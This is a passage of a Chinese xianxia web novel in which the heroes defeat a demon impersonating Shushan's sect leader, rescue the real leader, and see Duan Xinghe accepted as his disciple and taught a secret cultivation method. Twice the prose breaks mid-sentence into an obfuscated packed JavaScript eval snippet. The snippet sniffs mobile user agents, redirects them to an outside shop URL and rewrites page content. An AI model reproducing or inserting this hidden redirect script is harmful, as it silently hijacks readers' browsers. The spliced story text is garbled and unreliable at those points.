义灵使身上的金光微微一亮,正要出手,忽然听到远处传来一声清越的啼鸣,声音响彻云霄。 众人抬头望去,就见一只硕大的凤凰飞了过来。那凤凰身披红色与金色的羽毛,身带赤炎灵光,极其华丽。 蜀山弟子们激动起来,纷纷道:“是守山神兽!”、“陵光神君来了!” 义灵使道:“你怎么才来?” 朱雀道:“我从东峰过来,一群弟子反应及时,躲到了山洞里,我在外面护着他们。刚把丧尸打退了,给你们救了五百来个人,还不谢我?” 刘毅君等人顿时睁大了眼,简直不敢相信能听到这么好的消息。张青蜉方才在东峰上空看到一片惨状,还以为那边沦陷了,没想到还有幸存者。 朱雀尾羽一摆,转头看向半空中,十分憎恨那假扮成天玺真人的妖物。这家伙极其擅长洗脑,之前就是这妖魔趁朱雀不备,侵蚀了它的神志。朱雀扬声道:“别听他胡说八道,在场的都默念清静经,背不过的听别人念。” 它毕竟是上古神兽,一开口就有一派长者的威严,弟子们下意识都照它的吩咐去做。朱雀张嘴喷出一口三昧真火,顿时把那妖物的半边衣裳都烧着了。它用力拍打了数下,好歹把火苗扑灭了,道:“你干什么!” “干什么?”朱雀冷冷道,“烧你就烧你,还用挑日子么!” 那怪物有些慌了,却还想迷惑人的心智,道:“你是本座的坐骑,蜀山的护山神兽,怎么能帮外人?” 它不过是一个套着双生蛊皮囊的大伥,窃取了一点力量,还真以为自己能与这些上古大神平起平坐。朱雀的脸都黑了,怒道:“就凭你也想骑我,你算什么东西!” 说话声中,它喷出一片火海,烧的那怪物惨叫一声,挣扎着向远处飞去了。朱雀一拍硕大的翅膀,伸出爪子往它的背上抓去。朱雀的爪子又尖又利,力大无比,几下子就把那怪物的一根胳膊撕了下来。 众人看着那情形,都不敢说话,也不敢动。义灵使看着那边,道:“还用我出手么?” 那怪物被朱雀扯断了两条胳膊,又被撕掉了一个头,挣扎着飞了回来。混乱中它还了朱雀两招,把它的翅膀抓伤了。朱雀身上流着血,还对它穷追不舍,非要把这妖物撕得粉身碎骨不可。 步云邪眼看那怪物向弟子们冲过来了,意识到它狗急跳墙,想以这些弟子的性命作为要挟。他喊道:“快拦住它!” 嗡地一声,义灵使身上的金轮分解开来,大大小小的金环挡在了那怪物面前,有的套住了它的脖子,有的套住了它的手脚,骤然收缩。金轮把它扯成了个大字型,朝四面八方用力,如同车裂之刑一般。它大吃一惊,用力挣扎道:“干什么!放开我!” 那些金轮越勒越紧,就听哧地一声,血肉迸溅出来,那妖物侧面的一个脑袋被勒断了,随即多出来的几条手臂也纷纷落在了地上。它虽然浑身血淋淋的,但至少剩下了一个头和两根胳膊,看起来比刚才像人多了。 义灵使淡淡道:“本座帮你恢复了正常,你喜欢么?” 那怪物疼的龇牙咧嘴,怒吼道:“我呸,你算什么东西,也敢来嘲弄我!” 义灵使漠然道:“对本座出言不逊,找死——” 它说话声中,金色的轮子顿时从那怪物身上脱落下来,带着强烈的金光漫天乱舞。那妖物转头要逃,就听嗡地一声,后背被一个轮子撞了一下。它惨叫了一声,像断线的风筝一样向前摔了过去,又一个轮子从前面拦路,哐地迎面撞了它一记。七八个轮子围着那怪物,像蹴鞠一样,把它踢来踢去的。 它浑身的血肉不住滴落下来,骨头也被踢的寸寸折断。那情形虽然惨,比起被他害死的那些人又不算什么了。 众人觉得十分解气,纷纷喊道:“好!干的漂亮!” 义灵使整治得他够了,道:“蜀山真正的掌教在什么地方?” 那妖物摔在地上,接连吐了几口血,恨声道:“我偏不告诉你们……有本事就杀了我,我要他跟我一起陪葬!” 朱雀能感到老掌教的灵力还在,只要尽力搜寻,应该能找到。它道:“杀了吧,咱们自己找就是了。” 义灵使对它那张脸也看够了,厌倦似的道:“处决——” 那几个轮子合并成一个硕大的轮子,哐地一声碾过来,把它下半截身体碾得粉碎。那怪物的惨叫声撕心裂肺,身体不住抽搐。它仿佛还不甘心,抬头看向上空,用尽最后一点力气伸出手,道:“救救我……救……” 它的手臂垂下来,就这么断了气。朱雀落在地上,化作了一个身穿红色锦衣的青年男子。他伸出手,将那妖物体内的灵力吸了出来。白色的灵光融合着丝丝缕缕的邪气,聚合成了一颗灵核。 干净的气息是它从老掌门身上夺取的,邪气是这妖物自身的。朱雀掌心中托着灵核,道:“得先花点时间净化了。尽快把真正的老掌教找回来,他失去了灵力,身体应该很虚弱。” 张青蜉道:“我带人去找,天一亮就开始。” 台阶上满是鲜血,到处都是尸体。这一仗他们虽然打赢了,损失也极其惨重。 黑暗中,一人漂浮在乌云之后,把这边的情形都看得一清二楚。那人穿着一身黑衣,身材高大结实,左臂上缠着一条金色的蛇形臂箍,却是万象门的金环使。苦心经营了这么久,到头来却一败涂地。他看着那被碾碎的怪物,低声道:“废物!” 此处败局已经无可挽回,他一摆身后披风,身体化作一捧黑色的流沙,就这么消失了。 东方发白,长风吹过山巅,将众人的衣衫吹得猎猎作响。 经过了一夜的厮杀,一切终于结束了。每个人的脸上都满是尘土、鲜血,带着极度的疲惫和劫后余生的喜悦。他们还不敢相信自己已经战胜了敌人,有人坐在地上,有人捂着脸痛哭起来,宣泄着心底一直压抑着的恐惧。 刘毅君攥着剑的手还在微微发抖,哑声道:“咱们赢了。” 张青蜉道:“是啊,多亏了这些朋友帮忙。” 他向段星河抱拳,道:“多谢各位,之前我出言不逊,实非得已。还请各位见谅。” 先前他一见了段星河他们,就一个劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209185|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿地赶他们走,其实是早已知道了蜀山已经被妖魔控制了,不想让他们卷进来。段星河明白他的心意,道:“阁下是一片好意,我们都理解的。” 张青蜉看向了刘毅君,道:“你清点一下剩下弟子的人数,陵光神君在东峰还救下了五百来个人。再把不幸去世的人也统计一下,好生葬了吧。” 这些事起码得忙三四天,索性没什么大事,慢慢来就行了。刘毅君让人拿了簿册过来,开始清点幸存者的名字。一面又让人把整个山头巡视一遍,免得还有遗漏的妖魔。 张青蜉带着一队弟子带在西峰上清理尸体,收拾残局。他对段星河道:“你们辛苦了,且去休息吧,这里交给我们。” 众人确实累了,便去了弟子房。段星河躺在床上,脑海中仿佛还残留着夜里那些人的呼喊声、攒动的火光和刀光剑影,呼吸渐渐沉了下去,不知不觉就睡着了。 众人歇了一日,刘毅君他们把蜀山清理干净了。这天一早,段星河醒了过来。他推开门,站在走廊上。阳光照下来,蜀山一片光明宏伟的气势。笼罩着蜀山许久的阴云终于散去了,他恍然意识到,蜀山本来就应该是这样的。 隔壁有人在说话,门开着,段星河走了过去,见其他人都在,义灵使像个轮子似的,忽悠悠地飘在半空。吴祎道:“段兄,你醒啦,我正准备去找你呢。” 段星河道:“怎么了?” 吴祎激动道:“昨天我们找到掌教真人了,他被关在山顶的牢房深处。是陵光神君找到的!” 段星河下意识看向步云邪,想起之前他跟自己说过,山顶的石牢有些奇怪,没想到真正的掌教真人就被囚禁在里头。吴祎道:“先前他们说山顶上关着疯子,我还以为师父心地慈悲,愿意度化那些堕魔之人。没想到真正的恶魔逍遥法外,被关起来的才是好人……” 他挠了挠头,道:“咦,我是不是说了什么很有道理的话?” 李玉真笑了,道:“感觉是挺有哲理的。” “哎不管了,”吴祎道,“掌教真人已经回昭元殿了,他听说你们帮了蜀山大忙,想要见一见你们。” 段星河没什么事,道:“那这就去吧。” 一群人来到了昭元殿,天玺真人在后头的寝殿休息。朱雀已经把从那妖物身上夺回的灵力还给他了,天玺真人的修为尚在,休养一段时间就能恢复。 众人来到他的床榻前,天玺真人穿着一身白色的中衣靠在床头,朱雀在一旁守护着他,刘毅君和张青蜉也在。吴祎道:“掌教,钦天监的朋友来了。” 被剥夺了灵力,对他来说确实造成了一些损伤。吴祎说老掌教以前鹤发童颜,虽然几百岁了,神采一点也不老。如今他不光头发苍白,脸上也生出了一些细细的皱纹。 他看着面前的几个年轻人,露出了感激的神色。他起了身,刘毅君连忙上前扶住他,道:“师祖,您身体还不好,别起来。” 天玺真人轻轻把刘毅君推开,道:“不妨事,我没什么大碍了。” 他双手交叠,躬身行礼道:“多谢几位小友铲除了妖魔,救了我蜀山众多弟子!” 段星河岂敢受他的礼,连忙让了一步,回礼道:“老前辈千万别客气,这都是我们该做的。” 义灵使漂浮在旁边,天玺真人认出了它,恭敬道:“义灵使也出山了,没想到有生之年还能见到您,晚生幸甚。” 它被封印在四灵山许多年,世间已经很少有人认得它了。这位大宗师见了它,都要自称晚生,让众人暗自咋舌。义灵使道:“我从前见过你,我来找陵光。见曲长老在西峰上教你们御剑,你学得很快,比其他弟子聪明多了。” 天玺真人听见了那个名字,一时间有些恍惚。白云苍狗,一眨眼那么多人都化作了尘烟。他道:“嗯……那都是很久以前的事了。” 他的目光逡巡了一圈,停在了步云邪身上,诧异道:“这位是……” 步云邪怀里抱着墨墨,它把鼻子伸了出来,想要嗅一嗅这位老仙师。这是它跟人打招呼的方式,但对于头一次见的人来说太唐突了。步云邪道:“在下步云邪,这是我养的灵兽,叫墨墨。” 他说着把墨墨的鼻子按了回去,低声道:“别乱闻。” 天玺真人注视了他片刻,微微一笑道:“不妨事。” 他转身看向小徒弟,道:“青蚨,你把这边的事跟几位朋友说明了吧。” 张青蜉道:“那两个妖魔的事我们已经查清楚了。是万象门的人用双生蛊附在了我大师兄刘伯桥身上,制造出了一副血肉傀儡,然后杀了他取而代之。师尊当时忙于修炼,没发现妖魔潜入了蜀山。那妖人便趁着师父打坐之时,把他打成了重伤。另一个大伥夺走了师尊的修为,用双生蛊的皮囊冒充他,把真正的师尊关在了地牢里。” 众人没有特别惊讶,前天夜里他们见那两个妖人脱去了身上的皮囊,便已经猜出大概是这样了。 天玺真人沉重道:“我一时大意,导致蜀山蒙受灾难,现在遭受的一切都是我应得的惩罚。但弟子们无辜,我会好生忏悔,尽到自己的责任,不会再让蜀山落入妖魔之手。” 朱雀道:“掌教不必自责,是敌人太狡猾了。” 义灵使淡淡道:“那是,要不然陵光也不会被他们迷惑了。” 朱雀想起了自己被心魔控制的情形,有些难堪,低声道:“你能不能别哪壶不开提哪壶?” 义灵使发出了低低的笑声,道:“行,不让说就不说了。” 天玺真人注视着段星河,从刚才起就觉得这个年轻人有些古怪。他道:“小友除魔卫道,本应该一身凛然正气才对。可你身上有一股强烈的煞气,却是为何?” 段星河大老远来就是为了这件事,差点就把它给忘了。他道:“多谢老仙师垂问。我们几个本来不是这个世界的人,晚辈不幸受了邪神诅咒,才变成这个样子。” 他把自己的经历说了一遍。天玺真人听罢,沉吟了片刻道:“原来如此,你们大老远来这里,足见你们的诚意。你们一路上为正道做了不少事,又帮了我蜀山大忙,我应当尽力为你医治。” 众人互相看了一眼,觉得有希望了。天玺真人道:“小友,你把手给我。” 段星河把手伸过去,老仙师摸了他脉搏片刻,脸色沉了下来。众人都紧张地看着他,张青蜉道:“师尊,如何?” 天玺真人摇了摇头,道:“这诅咒太阴狠,乃是这世界的缔造者施加的,老朽一介凡人,无法破解。” 众人的心沉了下去,连蜀山掌门都没办法解除,难道他要被这诅咒折磨一辈子么? 段星河已经做好了最坏的打算,此时也不免失望。煞气一直侵蚀着他,段星河能感到自己的状态越来越差,若是就这么下去,说不定有一天,自己真的会控制不住堕魔。 天玺真人也想到了此节,道:“你身上的诅咒以凡人之力难以解除,只有潜心修行一途。纵使无法彻底消解,至少能控制住它。若是来日有机缘登阶,见到了凤神,它自然会为你解除身上的诅咒。” 这样的话,段星河也听燕丘的萨满说过。他道:“是,多谢前辈。” 他的态度虽然恭敬,却显得有些黯然。他清楚以自己修行的速度,恐怕还没登阶,便已经被诅咒侵蚀殆尽了。天玺真人道:“小友现在练的是什么心法?” 段星河道:“晚辈师承逍遥观,练的是师父传的四正罡气。” 天玺真人方才摸了他的脉搏,知道他到了元婴期,以他的年纪能练到这个境界,已经很有天赋了。若是能换一套更高明的心法,修炼的速度必然会更快一些。 这孩子救了蜀山这么多人,就是将蜀山的至高心法传给他,也不算过分。 天玺真人生出了惜才之心,温声道:“我看你根骨奇佳,又有侠义心肠,很是喜欢。老朽想传你一套修炼的心法,你在这个世界,还不曾拜过师父吧?” 修仙之人一般只能拜一个师门,但逍遥观在另外一个世界,算是钻了这个规矩的空子。之前步云邪也在这边拜了李慈心为师,学了一身好医术。 蜀山收徒十分严格,多少人挤破头都进不来。众人看出老仙师要收他为徒,都激动起来。吴祎小声道:“他在这边还没师父呢。段兄,快拜师啊!” 106.蜀山 四 段星河知道天玺真人是一片好意,为了给自己治病,破例收自己为徒。他心头一热,撩衣跪在他面前,道:“师父在上,请受徒弟一拜。” 天玺真人露出了笑容,看着他在自己面前叩了三个头,把他扶了起来,道:“好孩子,从今天起你就是我蜀山的弟子了。你且歇一歇,等过几日,为师从头教你修炼法门,帮你慢慢调理身体。” 段星河十分感动,自从师父过世以后,他已经很久没感到这种长辈的关爱了。他道:“多谢师父。” 天玺真人大病初愈,还有些虚弱,道:“今日先到这里,为师也要休息一下。毅君帮他安排一下在这里的事宜,好好招待这些小友们。” 刘毅君恭敬道:“是,弟子这就去办。” 众人行过礼,退出了昭元殿,朱雀留下来照看天玺真人。段星河走出了大殿,没想到有一天自己也能成为蜀山弟子,觉得很荣耀。刘毅君道:“我去给你拿弟子服,腰牌让人给你做一个。” 段星河道:“好,多谢。” 他和步云邪等人先回住处去了,吴祎跟着刘毅君去帮忙拿东西,还挺高兴。走了一阵子,他忽然回味过来了,道:“不是……段兄拜了师祖为师,那他不是比我高一辈了?” 刘毅君嗯了一声,道:“现在他是小师叔了,青蚨师叔不是叔辈最小的了。” 张青蜉双手抱着臂,道:“就是个称呼,也没什么。小段肯定不在意的。” 吴祎挠了挠头道:“我在意啊,以后我见了他要行礼了。” 刘毅君道:“行礼就行礼呗,有什么了。” 几人说着话走远了,山间云雾缭绕,几只白鹤啼鸣了一声,张开硕大的翅膀向云中飞去了。 下午吴祎和刘毅君送来了弟子服和发冠。段星河回里屋换上了,浅蓝色的衣袍,白色的内衬,因为跟张青蜉同辈,衣摆上还有些金线绣的云雾纹样,与一般弟子有所区分。衣裳合体,布帛轻软,行动起来格外飘逸。 他的身材结实修长,穿上这身道袍,缓和了几分眉眼间的锐利之色,别有一番道骨仙风的气质。 大家费尽千辛万苦来到这里,如今段星河终于拜入了蜀山门下,兄弟们也很为他高兴。 司空玉在旁边看着,叹道:“哎呀,有几分剑仙的样子了。” 李玉真道:“确实挺帅的,什么时候学御剑,也带我上天玩玩。” 刘毅君道:“一般人元婴后期就能御剑了,据说像曲长老那么有天赋的人,也是从元婴期才开始御剑的。” 段星河刚才在昭元殿就听义灵使提到了这个名字,道:“曲长老是谁?” 他刚来蜀山,对很多人和事都不清楚。刘毅君道:“他是咱们掌门的师叔,叫曲玉霖,修道的天赋极高,本来很有希望继承掌教之位的。后来为了铲除妖魔,不幸牺牲了。” 吴祎坐在旁边的罗汉床上,八卦道:“大家总说他是几百年难得一遇的天才,到底有多厉害,谁也不知道。不过他生的是真好看,那眉毛,那眼睛,那气质,简直是天人之姿。” 刘毅君看了他一眼,道:“你见过?” “见过啊,”吴祎道,“先贤祠里就挂着他的画像呢。头发虽然是白的,但也就二十二三岁的模样。他去世的时候也就三百多岁吧,已经修到炼虚期了,真的可惜。” 他这么一说,其他人也想去看看了。 天玺真人如今五百多岁,也才修到化神期,这已经十分难得了。一般人练到这个阶段,至少要七八百岁。看来那位曲长老还真的天赋卓绝,只可惜英年早逝。要是他还活着,不知道现在又是怎样一番风采。 “想什么呢?” 步云邪静静地看着他,道:“人家说老前辈的事,你也走神。” 段星河想起了自己拜入逍遥观的时候,除了给师父叩头,还要去给祖师爷上香。他道:“我还没拜过祖师爷,要不要去拜见一下?” 刘毅君道:“过几天掌门应该会带你去的,先安心休息一阵子吧。” 段星河这段时间接连跟人动手,体内的煞气涌动,确实有些疲惫。刘毅君带了些人参和当归等物过来,说:“你消耗了不少气力,青蚨师叔让我给你拿点药材来,好好补一补。” 蜀山的药品质比外头好多了,步云邪一看就知道十分珍贵。大家的身体一直都是他调理的,他道:“交给我,放心就是了。” 吴祎从刚才就憋着话想说,此时道:“段兄,我能不能不叫你小师叔,怪别扭的。” 他这么一说,段星河才意识到自己比他们高了一辈。他们要是真这么老老实实地叫,自己也受不了。他道:“不用这么讲究,咱们还跟以前一样就行了。” 吴祎高兴起来,道:“那我还叫你段兄,以后你辈分上罩我,我生活上罩你,咱们俩还是好兄弟。” 刘毅君觉得亏了,道:“你跟他称兄道弟,那我怎么办?” 吴祎道:“哎呀,咱们各论各的。我管他叫哥,你管他叫叔,我管你叫姐。” 李玉真在旁边笑了,道:“挺好的,没毛病。” 步云邪熬了汤药,段星河调养了几天身体,心中的烦恶感平息了许多。这天傍晚他喝了参汤,有弟子来道:“段师叔,掌门让你今晚亥时初去先贤祠一趟。” 段星河还不习惯被他们这么称呼,站了起来,道:“多谢。” 那弟子见他站起来了,连忙后退一步,恭敬地向他行礼。段星河虽然是逍遥观的大师兄,但师兄弟之间没有这么严格的规矩,以至于到了蜀山还有点不适应。步云邪轻轻一拍他肩膀,段星河知道再这么下去就没完没了了,只得道:“我知道了,你去吧。” 步云邪看着那弟子走了,含笑道:“刚当上小师叔,还不习惯么?” 段星河道:“好多人比我年纪还大呢,怎么习惯?” 步云邪悠然端起了茶,道:“出去多逛逛,让人多喊你几声,听得耳朵长茧子就好了。” 段星河昨天出去逛了一圈,本来想熟悉一下地形。掌教真人收他为徒的事已经通告下去了,弟子们见了他,纷纷让到路边,恭敬地向他行礼。他是救了蜀山的英雄,大家都很感激他,得知掌教收他做了徒弟,非但没有嫉妒,反而都很高兴。 两人说着话,魏小雨跟小对眼在院子里玩。几个女弟子在外面叽叽喳喳地说话,互相挤来挤去的,道:“你去,你去嘛。” 小雨有些奇怪,过去道:“几位姐姐,你们找谁?” 那几个女弟子有点尴尬,一人手里拿着点心,还有人手里抱着一大捧玉兰花,道:“听说段小师叔住在这里,我们想给他送点东西。” 魏小雨见有吃的,顿时高兴起来,道:“我帮你交给他!” 她拿了点心,又接过了堆雪般的玉兰花,快步进了屋。段星河看着比她还高半头的花枝子,道:“哪来的?” 魏小雨把东西堆在桌子上,道:“外头几个姐姐送的。” 段星河推开窗户,见几个女弟子从月洞门外探着头。一人见到了他,顿时兴奋道:“他看咱们了。” 另一人道:“这点出息,你不是要跟他说话的吗?” 又一人道:“他救了咱们大家,不光我想看他,别人不也想看么。” 另一人道:“你少来,花还是你弄来的呢,把树都撅秃了。” 那几个女孩子跟吴祎似的,对他十分崇拜。虽然段星河对她们没什么印象,她们已经在心里把他盘了百八十遍了。魏小雨拿了她们的点心,段星河不好没有表示。他走了出去,那几个女孩儿顿时紧张起来,道:“来了、来了!” 段星河站在月洞门内,跟她们保持着一点距离,客气道:“多谢各位,你们的心意我领了,以后不用费心送东西来。” 那几个女孩子根本听不见他说了什么,就觉得他嘴一张一合的,说话的声音带着磁性,很是好听。 段星河高大英俊,对女子态度温和,骨子里又透着一股野性,这种气质找遍整个正道都难寻到第二个了。师叔辈里只有张青蜉的年纪小一点,但他性情严格,嘴也刻薄,大家都有点怕他。如今蜀山年轻一辈里终于有了一个能拿得出手的俊朗男子,让她们都很兴奋。 她们像一窝雏鸟一样,互相挤了挤,推出了一个代表。那个送花的女孩子道:“小师叔,那天晚上你救了我们,大家都很感激你。那个……我是修无情道的,你别误会,我们对你没有别的意思。” 她越紧张,越是词不达意。其他姑娘觉得有点惨不忍睹,把她拉了回去。另一个人道:“小师叔,那天晚上有个僵尸要扑我,你一剑把它砍死了。我特别感激你,本来想着你要是走了,我这辈子就再也见不到你这么帅的人了。还好掌教收你为徒了,我们就可以天天看到你了。” 她这么爽朗,其他女孩子也都笑了起来。段星河还是头一次被这么多女孩子包围,也有点赧然。他道:“应该的。” 另一个女孩子道:“那个点心是我做的,有桂花糕,也有枣花酥,你们喜欢哪种?” 魏小雨凑了过来,道:“我喜欢枣花酥。” 女孩子们都笑了,步云邪随手摸了摸她脑袋,道:“别麻烦姐姐们。” 那女孩子道:“不麻烦,你们喜欢,我以后再做一些来。” 一群人望着段星河,有种围绕着英雄的快乐。女孩子们叽叽喳喳地说了一阵子话,这才散去了。段星河回了屋,接了点水,把花插在了一个青釉大花瓶里。花朵晶莹洁白,像琉璃一样,看着确实赏心悦目。 魏小雨把点心打开了,自己先吃了一块,嘴里塞得鼓鼓囊囊的,道:“好吃,大家都尝尝。” 她给段星河留了一份,又拿了一份去隔壁敲门。 “司空姐姐,你在吗?” 门半开着,司空玉不知道去哪儿了。桌上放着几本蓝皮的线装书,一本是《大新游记》,另一本是《霸道师兄爱上我》,作者不梦君。 魏小雨:??? 书旁边放着一沓纸,墨迹还未干透。魏小雨有些好奇,过去看了一眼,见上头写着:“段傲天带着十万士兵从极北苦寒之地回来,一把推开了沉重的院门,神色冷峻道:‘三年之期已到,我要拿回属于我的一切!’” 她又往前翻了几页,见上面写着:“罗刹国女王一脚踩在他的背上,手里的鞭子轻轻搔了搔他的下巴,冷笑道:‘男人,想要兵马,求我啊,就像昨天晚上那样——’” 一只手从后面伸了过来,把纸抽走了。宋胡缨不知道什么时候过来了,一脸冷淡道:“看什么,少儿不宜。” 魏小雨满头问号,道:“这是什么,你写的么?” 宋胡缨轻咳了一声,道:“你觉得像吗?” 魏小雨想她整天把丈二长的刀抡得跟风车似的,根本没工夫写这些东西。倒是自己有时候看到司空玉拿着个小本子,坐在角落里不知道在写什么,偶尔还会露出一副神秘莫测的表情。以前魏小雨问的时候,她只说写日记,如今总算知道她在写什么了。 她道:“你看过吗?” 宋胡缨一副受害者的模样,靠在书桌旁边道:“我在家的时候就看过了,那时候还不知道是她写的呢。后来有一次我跟她闲聊,说有个人叫不梦君,话本写的特别好,经常一到货就全卖空了。她就老是笑,什么也不说。我还以为她家教严,正儿八经的淑女哪有看这个的。结果……我信她个鬼的淑女,平时不声不响的,拿起笔来就没有她不敢写的东西。” 魏小雨十分好奇,道:“我能看看嘛?” 宋胡缨严肃道:“你多大了?” 魏小雨道:“我下个月就十三了。” 宋胡缨道:“十三不行,起码十五。” 这时候门轻轻一响,魏小雨回头望去,见司空玉站在门口。她已经听见了她们的话,显得有点局促,道:“姐妹,咱们不是拉过勾了嘛,你答应过帮我保密的。” 宋胡缨面无表情道:“我来的时候,她已经看见了。” 司空玉道:“那怎么办?” 两个人齐齐看向魏小雨,考虑着让她保密的法子。魏小雨被她俩的阴影笼罩着,感到了强烈的压力,怀疑自己要被灭口了。 宋胡缨眼睛一动,有了主意,道:“要不然给她一本吧,把她拉下水就行了。” 她把那本《大新游记》塞给了魏小雨。魏小雨没那么好糊弄,指着另一本说:“我要看这个。” 司空玉连忙道:“不成不成,段大哥要是知道了,非说咱们把孩子教坏了。” 宋胡缨道:“十三岁都有成亲的啦,你怕什么。” 反正不行就是不行,司空玉把书塞回抽屉,寻思着措辞,道:“小雨,你知道,成年人的生活很无聊,有时候需要一点无伤大雅的东西来排遣一下,正所谓物质生活丰富了,精神生活也不能太匮乏。姐姐麻烦你件事……” 魏小雨道:“我不会说的。” 她这么上道,司空玉反而一时间不知道说什么好。魏小雨求知欲十分旺盛,道:“我跟你拉钩,给你保密。书能给我看看吗?” 司空玉沉默了片刻,守住了她的底线,道:“等你十五岁再说。” 魏小雨有点失望,司空玉把小拇指伸了过来,道:“拉钩。” 魏小雨勾住了她的手,轻轻晃了晃道:“好吧,反正再过两年我就十五了。” 夜色降临了,段星河从西峰出来,往先贤祠走去。 先贤祠在中峰昭元殿后面,是蜀山供奉历代师长的地方。两名弟子在外面看守,一人见了他道:“小师叔,掌教在里面等着你了。” 段星河走了进去,天玺真人站在大殿中,给一盏灯加上了灯油。架子上满是长明灯的火光,大殿正中供奉着蜀山祖师爷的画像,是一位白发苍苍的慈祥老者。两旁还挂着数十张画像,有男有女,都是蜀山杰出的前辈。段星河注意到侧旁一个年轻男子的画像,那人穿着一身白衣,身后挽着一柄长剑,修长的双眼注视着画外之人,目光极为深刻。他想起了吴祎的话,曲长老是蜀山几百年难得一见的美男子,先贤祠里最好看的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209186|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那张画像就是他了。 段星河觉得这张脸似曾相识,但好看的人总有相似之处,也没什么特别的。天玺真人转过身来,段星河行礼道:“师父,弟子来了。” 天玺真人的神色平和,道:“今日叫你前来拜见创派祖师,你向他磕头吧。” 段星河撩衣跪在蒲团上,向祖师爷行了三拜九叩大礼,恭敬道:“弟子段星河,拜见祖师。” 天玺真人点燃了三柱香,插在了香炉中,向正中的祖师祷祝道:“此子救护蜀山有功,却被邪神诅咒已久,深受折磨。弟子想将我宗的至高心法传授给他,助他缓解病痛,请问祖师是否应允?” 段星河的心微微一动,没想到师父竟然对自己这么舍得。大殿中静悄悄的,等待了片刻,三柱香青烟袅袅,都笔直向上而去。三炷香燃烧的速度不同,从左至右由低到高,乃是功行全备,神灵默佑之意。 天玺真人微微一笑,道:“祖师爷准了,还不快谢谢他老人家。” 段星河也松了口气,向画中的老人又磕了三个头,道:“多谢祖师爷!” 画中的老人拈须而立,神态慈和,仿佛也在静静地看着他。段星河有种被神灵接纳的感觉,头一次真正地对这里生出了归属感。 天玺真人道:“跟我来吧。” 他经过庭院,来到了最深处的一间大殿前。天玺真人走了进去,屋里垂着白色的帷幔,陈设简单清雅,是个适于清修的好地方。 对面也有一间屋,空间小一些,正中摆着个紫金丹炉。天玺真人走过去,手掌虚虚一拂,一个宝象花状的金色纹样浮现出来,石墙轰地一声开了,原来里头别有洞天。 他端着一盏灯走了进去,屋里摆着一张榻,一个书架和一副桌椅。天玺真人从书架上取下了一个紫檀的盒子,从里头拿出了一本书。 他神色郑重道:“此书名为太一心经,是蜀山的不传之秘。你为了救护蜀山立下了大功,为师破例将此心法传给你,你要好生修练,千万不得外传。” 这是世间至高无上的修炼心法,多少人做梦都不敢想,段星河却得到了这样的机缘。他的心情激动,双手接过了那本书,道:“多谢师父!” 天玺真人道:“修练此功法,能让你修行的速度事半功倍,也能压制你身上的煞气。你学会之后,不可恃强凌弱,要尽力匡扶正道。” 段星河认真道:“师父传授弟子本事,弟子绝不敢去欺凌弱小。” 天玺真人道:“很好,你先坐下吧。” 他一拂衣袖,在床榻上坐下了,段星河在他对面盘膝而坐。天玺真人道:“此功一共三重境界,第一重为阴仪,第二重为阳仪,第三重融合为一,便是太一境界。为师会一一讲解与你,你领会贯通之后,记在心里。全部记下之前,不可出去。” 段星河来之前也没想过要被关禁闭,道:“那要多久?” 天玺真人道:“此功法一直是面面相传,师父把此功法传我时,花了两个月的时间。能多久领会熟记,就看你自己的资质了。” 段星河点了点头,道:“是。” 天玺真人手轻轻一拂,一道金色的灵光飘在太一心经上,那本书自己掀开了一页。本来空白的书页里,渐渐浮现起了文字。段星河十分惊讶,不愧是天书,若是无师长指引,就算无德者窃取到了,也什么都看不出来。 金色的文字纷纷聚集成篇,形成了引子:“大道旷荡,无不制围,括囊万有,通而为一,谓之太一也。无极而太极,太极动而生阳,静而生阴,分阴分阳,两仪立焉……” 段星河看完一页,书页自己翻了过去。他的头脑聪明,只是默读了一遍,心中便有所领悟。天玺真人给他讲解了第一重境界的含义,又把行气方式传授给了他。 段星河依照师父教的方法打坐运气,感觉确实比自己从前学的心法精妙许多。他丹田内涌出了一股热流,在体内运行得极为顺畅。天玺真人在一旁给他护法,见他很快就掌握了行气方式,很是欣慰。 段星河将气息行走了一个周天,发觉体内的煞气渐渐生了出来,跟那股力量要争夺这句身体的统治权似的,互相冲撞起来。段星河感觉十分痛苦,想要收功,却又无法停止。他的额头上渗出了密密的汗珠,双目紧闭着,嘴角渗出了一股鲜血。 天玺真人吃了一惊,连忙将手掌抵在他后心,将一道真力输送过去。真气暂时压制住了那股煞气,引着他自身的正气回到了丹田中。段星河这才放松下来,浑身的冷汗把衣服都湿透了。 天玺真人也没想到他体内的煞气有这么霸道,像抵抗外来者一般,要把他体内的正气驱逐出去,甚至不惜跟这具身体的主人同归于尽。方才若不是自己看着,段星河就要经脉爆裂而死了。 段星河身体疼得厉害,哑声道:“师父……咳,方才煞气冲出来了。” 天玺真人伸手摸他脉搏,幸亏救的及时,他的经脉没有受损。他的身体被诅咒侵蚀了这么久,煞气已经成了气候,突然引入一股强烈的正气,必然会形成冲突。天玺真人道:“是为师考虑不周,你身上的煞气太重了,得先抑制住才能修习正法。” 他起身拿了一颗金丹过来,道:“你把这颗素心丹吃了,暂时压一压煞气。” 段星河把药吃了,闭目调息了片刻,胸口闷痛的感觉减轻了一些,烦恶感也渐渐消下去了。 天玺真人看他的状态缓和了,道:“修习此法,起初不必过于追求克制煞气,还是以耗泄敌党为主。等后期正气占据了主位,再慢慢压制余党。” 段星河道:“是。” 